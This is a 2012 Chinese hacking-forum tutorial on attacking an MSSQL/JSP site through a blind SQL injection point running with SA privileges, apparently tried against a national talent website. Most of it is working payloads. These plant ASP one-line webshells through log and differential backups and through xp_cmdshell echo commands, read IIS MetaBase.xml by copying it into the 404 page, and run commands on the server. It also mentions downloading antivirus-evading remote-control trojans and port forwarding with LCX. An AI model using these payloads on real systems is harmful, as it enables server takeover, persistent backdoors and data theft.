中国网络渗透测试联盟

标题: sa权限的教程. [打印本页]
作者: admin    时间: 2012-9-15 14:30
标题: sa权限的教程.
————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————8 f+ Y6 A5 J: m
2 o$ u' B9 n1 \* y0 F

! |2 [/ x1 [) W1 @8 j                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
& s: z0 v$ R# c7 c/ ~! n
8 k( X- M* ^( s* i: J1 B                                                                 4 Z& Q7 r4 n; U6 _6 S
                                                                 
) q$ K# w7 b8 z8 D8 T                                                                  论坛： http://www.90team.net/
( _3 r  Z* Q* S* \2 t% I) B( K6 O& G9 |7 w+ o& T" \5 C5 B

& M+ P  u; `; p1 k4 @- @& Q) {: U# V( h
友情检测国家人才网. y$ Q, u0 N. F7 m6 V

5 U1 E* T& M1 h7 O8 J- ?5 q. |- |( S' m6 @5 K8 z
内容：MSSQL注入SA权限不显错模式下的入侵
2 `1 l. R3 t  n
. O, j( _5 b' ^1 u- w/ n, u/ J. n
一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。5 A3 b; A% L5 v; U
7 h* J. A1 y) [7 H0 H' [. Q
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。* ]$ U6 `$ K) Q1 M  J! x
- ?$ P4 J5 m" c# v
6 N  j2 P  k0 g( w. [
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
! ?% q. {- K: }9 S: h# i% U" K/ @/ V3 F9 I: w" N9 q( c0 F
思路：
: l& E" s! k  H$ Y& V
+ j4 m2 F, w4 ~* P4 m首先：! i! T$ n, g" ~6 U
+ d) B( g: [" c7 w' Z  M; G6 \
通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
+ D( E6 P$ U: L8 j: ~0 V% m+ Q) B2 e% X1 {% j+ ?( d; b0 m9 m
1.日志备份获得Webshell
. m; [7 ?8 N8 Z6 {9 ^
3 i- W/ t$ E9 S5 g' x& w2.数据库差异备份获得Webshell
6 y8 O& t2 [0 T6 j3 d/ B" D. y3 ~) w9 l" q4 Q2 O
4.直接下载免杀远控木马。
, A7 O0 i- {5 I% W
# ]& m: W! E# S9 l* C5.直接下载LCX将服务器端口转发出来3 g* ^$ {- t3 E  s: X  h. B

+ R9 w+ B0 A% D0 p6 U) v8 Q! v6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。' Y! N# `6 Z1 r: D- K; N: @$ z$ U
/ ?/ l$ R( o9 u  ]
2 @  d( J2 v* J9 B, j

: X6 A5 m3 b: R' _) M0 m在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了， 6 y: i  U/ d, Y9 d! k5 f2 b

. ~# @- y% f% W; b我直接演示后面一个方法
) ^( Q2 n6 W5 ^0 P' Y8 X+ `1 ^2 U1 C) v# \% C& D
  K+ L$ f! N9 X1 A9 O4 q
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
# i4 |% S- {' m" p8 A
# h, ?: z% R9 n) Z/ h; I3 o- l& N1 Z6 i! Q6 p" u! F

" {# D0 J& n1 n
; L- B. d7 u% c' c5 Y& N. H# n◆日志备份：
4 y3 q: Y% P0 h& b" o; J! H- k9 ~, J

+ w5 N" p# }- K. O1. 进行初始备份
8 Z0 \( h, v/ G% B; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
( `. |$ P+ t- J7 b8 E: L
% ]$ m4 @+ A  b( r  E; {* G$ q2. 插入数据. `: c8 |$ T$ b$ z9 o4 M) s2 G
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
9 j% V, D& @$ X  p" U, p4 [$ U& T+ b) k+ h# [5 s" ^. N; o
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
* S9 X8 G. a: w% v5 p3 n  5 ~; f6 h  e; Y7 Z: N; x
3. 备份并获得文件，删除临时表
$ M& f# _7 b. T2 k0 W- W# r;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
' a. C0 z4 |  \! m5 V
7 \, F& g& u+ i7 z5 z0 J
- {, \8 N; f6 c. Y  t
0 M2 g% E! {; c◆数据库差异备份
& z) @% i8 |; b: x  J0 i! n6 r4 I4 k: ?+ }, R1 X5 x& ?
（1. 进行差异备份准备工作
8 x6 ^( _3 {" D0 X/ y# G2 `6 I
/ Y4 s  a% W2 o( Y" c7 K3 \;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
. e. P9 k( [9 f2 n  G4 F7 D2 U9 Z+ C( U  m
上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
$ _9 a/ J" v$ }& e; E; ^6 ^
) l% h& |$ M4 R0 F# ?+ f; W1 h6 `+ B4 o% m$ {4 i7 c/ a+ B7 H
（2. 将数据写入到数据库+ W* }, }" d$ W: t6 w9 J) p& w) ]
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)-- 8 C" L! o* l* f' ~  C
( t3 Z9 m2 \( f
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
( N6 y$ z2 |# c& V
% Y4 ?/ q3 _1 b% P  n3. 备份数据库并清理临时文件
9 |" \1 z# R8 L0 t6 N$ H' {
1 Y: e, y9 M" `5 s1 ];Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
; T2 ~* u: b* }; y0 b' M- K' U
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件 ( i4 `. G# m: [3 f4 {
5 J: j( {% f. E; B

& a9 ~' b  d' X8 T- q! J! E. f  w* m; w" y% U% m. Q5 @
用^转义字符来写ASP(一句话木马)文件的方法:   
- [( Z; p  q1 ~7 j! f5 E  A3 d& a, @% l
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
' |) B- B9 v; c! C8 k
$ U# _& M3 m; o. u+ a0 Y' B2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
3 l+ t, U$ _$ X8 A5 O! t6 [3 B2 j2 d/ s. d. ?" M3 u. z) @
读取IIS配置信息获取web路径
* Z+ c2 A/ B0 m7 x# c
3 u( F( Y8 f* ?! o     
0 V( E1 i$ z  b0 X* Q     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--( {9 r9 S  k3 [3 M8 {- `0 s+ D" C
% D9 U( l! a3 g7 ?
执行命令
0 |# X- S+ }% q. \% M     + K* F; X& {2 }  y7 @3 G
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
9 ]1 x) U0 U2 {8 e  B. p" _; T, Q5 I, L# B. B1 K
( z6 V6 Z$ r. w; c

9 Z, \8 G1 {3 J( k8 ~0 g$ z
( \) F& Z1 Y8 v
4 a( r+ u( P+ H+ U
9 g% s, _  F) H$ ]2 f: J2 C' K# K* c5 L  B. g. b
) s! y: y2 K' B& g; O
& \2 m* Q. `) A+ W- v* F
2 R; t: b+ [# e3 h
5 Q0 S- d- E( ~$ G" A0 }
% U# y$ K( c- s; `( v
2 n' A( c8 Z8 d5 {9 b! }

, Q- o6 D- o, M4 B+ ~9 v1 f  g
7 Y  t3 S. `0 q; X2 U# G6 ~; ~! \( O' r1 j# p7 e" j

4 A7 \2 W+ ~5 x! _' N
: T& L+ Y6 \( [* q4 w* Q. h5 P; t

2 m) r# ?" R) _7 m' C) f. T; K6 ^1 C/ d& g1 ^4 W  T* \

4 W2 [! a  o$ d  I3 ^* }
9 M2 |) Z# D# l2 m  ?7 J
, V3 K7 N2 g) F, ?+ }1 r: R
% u5 Y1 o( M: x; k- V7 d% g+ c. a8 b$ h7 _' o2 K  F
$ r; B9 H: K( }1 _- d% i
4 I' m: v/ C. m! P; k. B5 l( D4 C
5 g5 c! C1 `; W1 {% }! B

; `$ Q- I* }0 l* G; b' Y
' ~  A2 e5 K: @- e3 D9 g& X1 V& {: S/ }6 n, i- _/ z

$ L6 N0 b1 K$ r; B
! {4 I) V4 b4 ~+ p- r7 d  j& A4 P, C6 @+ z8 c+ y; y8 H
' a1 h& `& e& w. j& J0 h

" v3 @2 {+ J1 m/ k
/ [4 _/ @" v, x7 v& D) n$ @% }8 Y$ W$ d. h" J' P+ j: R

; U; J: c, [! T( N1 [8 u% `* i% j. b
' m% s9 w, u' g5 H3 u, I

) B5 U3 Q' U1 h8 i4 _& B- x; g6 j) q* U

) i6 U3 W  R! l% t0 L8 p6 m' S/ m, {/ B% E
3 ?2 B0 R5 V; w) ]. m

; _8 f& o; n# _0 t9 J



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2